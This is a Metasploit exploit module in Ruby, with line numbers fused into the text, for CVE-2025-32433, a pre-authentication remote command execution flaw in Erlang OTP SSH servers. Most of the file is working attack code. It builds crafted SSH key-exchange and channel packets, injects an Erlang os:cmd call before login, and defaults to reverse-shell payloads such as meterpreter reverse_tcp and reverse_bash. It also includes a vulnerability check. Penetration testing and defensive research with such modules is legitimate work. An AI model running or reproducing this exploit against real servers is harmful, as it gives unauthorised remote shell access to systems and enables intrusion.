Path: blob/master/modules/exploits/linux/ssh/ssh_erlangotp_rce.rb
31955 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4require 'hrr_rb_ssh/message/090_ssh_msg_channel_open'5require 'hrr_rb_ssh/message/098_ssh_msg_channel_request'6require 'hrr_rb_ssh/message/020_ssh_msg_kexinit'78class MetasploitModule < Msf::Exploit::Remote9Rank = ExcellentRanking1011prepend Msf::Exploit::Remote::AutoCheck12include Msf::Exploit::Remote::Tcp13include Msf::Auxiliary::Report1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Erlang OTP Pre-Auth RCE Scanner and Exploit',20'Description' => %q{21This module detect and exploits CVE-2025-32433, a pre-authentication vulnerability in Erlang-based SSH22servers that allows remote command execution. By sending crafted SSH packets, it executes a payload to23establish a reverse shell on the target system.2425The exploit leverages a flaw in the SSH protocol handling to execute commands via the Erlang `os:cmd`26function without requiring authentication.27},28'License' => MSF_LICENSE,29'Author' => [30'Horizon3 Attack Team',31'Matt Keeley', # PoC32'Martin Kristiansen', # PoC33'mekhalleh (RAMELLA Sebastien)' # module author powered by EXA Reunion (https://www.exa.re/)34],35'References' => [36['CVE', '2025-32433'],37['URL', 'https://x.com/Horizon3Attack/status/1912945580902334793'],38['URL', 'https://platformsecurity.com/blog/CVE-2025-32433-poc'],39['URL', 'https://github.com/ProDefense/CVE-2025-32433']40],41'Targets' => [42[43'Linux Command', {44'Platform' => 'linux',45'Arch' => ARCH_CMD,46'Type' => :linux_cmd,47'DefaultOptions' => {48'PAYLOAD' => 'cmd/linux/https/x64/meterpreter/reverse_tcp'49# cmd/linux/http/aarch64/meterpreter/reverse_tcp has also been tested successfully with this module.50}51}52],53[54'Unix Command', {55'Platform' => 'unix',56'Arch' => ARCH_CMD,57'Type' => :unix_cmd,58'DefaultOptions' => {59'PAYLOAD' => 'cmd/unix/reverse_bash'60}61}62]63],64'Privileged' => true,65'DisclosureDate' => '2025-04-16',66'DefaultTarget' => 0,67'Notes' => {68'Stability' => [CRASH_SAFE],69'Reliability' => [REPEATABLE_SESSION],70'SideEffects' => [IOC_IN_LOGS]71}72)73)7475register_options([76Opt::RPORT(22),77OptString.new('SSH_IDENT', [true, 'SSH client identification string sent to the server', 'SSH-2.0-OpenSSH_8.9'])78])79end8081# builds SSH_MSG_CHANNEL_OPEN for session82def build_channel_open(channel_id)83msg = HrrRbSsh::Message::SSH_MSG_CHANNEL_OPEN.new84payload = {85'message number': HrrRbSsh::Message::SSH_MSG_CHANNEL_OPEN::VALUE,86'channel type': 'session',87'sender channel': channel_id,88'initial window size': 0x68000,89'maximum packet size': 0x1000090}91msg.encode(payload)92end9394# builds SSH_MSG_CHANNEL_REQUEST with 'exec' payload95def build_channel_request(channel_id, command)96msg = HrrRbSsh::Message::SSH_MSG_CHANNEL_REQUEST.new97payload = {98'message number': HrrRbSsh::Message::SSH_MSG_CHANNEL_REQUEST::VALUE,99'recipient channel': channel_id,100'request type': 'exec',101'want reply': true,102command: "os:cmd(\"#{command}\")."103}104msg.encode(payload)105end106107# builds a minimal but valid SSH_MSG_KEXINIT packet108def build_kexinit109msg = HrrRbSsh::Message::SSH_MSG_KEXINIT.new110payload = {}111payload[:"message number"] = HrrRbSsh::Message::SSH_MSG_KEXINIT::VALUE112# The definition for SSH_MSG_KEXINIT in 020_ssh_msg_kexinit.rb expects each cookie byte to be its own field. The113# encode method expects a hash and so we need to duplicate the "cookie (random byte)" key in the hash 16 times.11416.times do115payload[:"cookie (random byte)".dup] = SecureRandom.random_bytes(1).unpack1('C')116end117payload[:kex_algorithms] = ['curve25519-sha256', 'ecdh-sha2-nistp256', 'diffie-hellman-group-exchange-sha256', 'diffie-hellman-group14-sha256']118payload[:server_host_key_algorithms] = ['rsa-sha2-256', 'rsa-sha2-512']119payload[:encryption_algorithms_client_to_server] = ['aes128-ctr']120payload[:encryption_algorithms_server_to_client] = ['aes128-ctr']121payload[:mac_algorithms_client_to_server] = ['hmac-sha1']122payload[:mac_algorithms_server_to_client] = ['hmac-sha1']123payload[:compression_algorithms_client_to_server] = ['none']124payload[:compression_algorithms_server_to_client] = ['none']125payload[:languages_client_to_server] = []126payload[:languages_server_to_client] = []127payload[:first_kex_packet_follows] = false128payload[:"0 (reserved for future extension)"] = 0129msg.encode(payload)130end131132# formats a list of names into an SSH-compatible string (comma-separated)133def name_list(names)134string_payload(names.join(','))135end136137# pads a packet to match SSH framing138def pad_packet(payload, block_size)139min_padding = 4140payload_length = payload.length141padding_len = block_size - ((payload_length + 5) % block_size)142padding_len += block_size if padding_len < min_padding143[(payload_length + 1 + padding_len)].pack('N') +144[padding_len].pack('C') +145payload +146"\x00" * padding_len147end148149# helper to format SSH string (4-byte length + bytes)150def string_payload(str)151s_bytes = str.encode('utf-8')152[s_bytes.length].pack('N') + s_bytes153end154155def check156print_status('Starting scanner for CVE-2025-32433')157158connect159sock.put("#{datastore['SSH_IDENT']}\r\n")160banner = sock.get_once(1024, 10)161unless banner162return Exploit::CheckCode::Unknown('No banner received')163end164165unless banner.to_s.downcase.include?('erlang')166return Exploit::CheckCode::Safe("Not an Erlang SSH service: #{banner.strip}")167end168169sleep(0.5)170171print_status('Sending SSH_MSG_KEXINIT...')172kex_packet = build_kexinit173sock.put(pad_packet(kex_packet, 8))174sleep(0.5)175176response = sock.get_once(1024, 5)177unless response178return Exploit::CheckCode::Detected("Detected Erlang SSH service: #{banner.strip}, but no response to KEXINIT")179end180181print_status('Sending SSH_MSG_CHANNEL_OPEN...')182chan_open = build_channel_open(0)183sock.put(pad_packet(chan_open, 8))184sleep(0.5)185186print_status('Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...')187chan_req = build_channel_request(0, Rex::Text.rand_text_alpha(rand(4..8)).to_s)188sock.put(pad_packet(chan_req, 8))189sleep(0.5)190191begin192sock.get_once(1024, 5)193rescue EOFError, Errno::ECONNRESET194return Exploit::CheckCode::Safe('The target is not vulnerable to CVE-2025-32433.')195end196sock.close197198report_vuln(199host: datastore['RHOST'],200name: name,201refs: references,202info: 'The target is vulnerable to CVE-2025-32433.'203)204Exploit::CheckCode::Vulnerable205rescue Rex::ConnectionError206Exploit::CheckCode::Unknown('Failed to connect to the target')207rescue Rex::TimeoutError208Exploit::CheckCode::Unknown('Connection timed out')209ensure210disconnect unless sock.nil?211end212213def exploit214print_status('Starting exploit for CVE-2025-32433')215connect216sock.put("SSH-2.0-OpenSSH_8.9\r\n")217banner = sock.get_once(1024)218if banner219print_good("Received banner: #{banner.strip}")220else221fail_with(Failure::Unknown, 'No banner received')222end223sleep(0.5)224225print_status('Sending SSH_MSG_KEXINIT...')226kex_packet = build_kexinit227sock.put(pad_packet(kex_packet, 8))228sleep(0.5)229230print_status('Sending SSH_MSG_CHANNEL_OPEN...')231chan_open = build_channel_open(0)232sock.put(pad_packet(chan_open, 8))233sleep(0.5)234235print_status('Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...')236chan_req = build_channel_request(0, payload.encoded)237sock.put(pad_packet(chan_req, 8))238239begin240response = sock.get_once(1024, 5)241if response242print_status('Packets sent successfully and receive response from the server')243244hex_response = response.unpack('H*').first245vprint_status("Received response: #{hex_response}")246247if hex_response.start_with?('000003')248print_good('Payload executed successfully')249else250print_error('Payload execution failed')251end252end253rescue EOFError, Errno::ECONNRESET254print_error('Payload execution failed')255rescue Rex::TimeoutError256print_error('Connection timed out')257end258259sock.close260rescue Rex::ConnectionError261fail_with(Failure::Unreachable, 'Failed to connect to the target')262rescue Rex::TimeoutError263fail_with(Failure::TimeoutExpired, 'Connection timed out')264rescue StandardError => e265fail_with(Failure::Unknown, "Error: #{e.message}")266end267268end269270271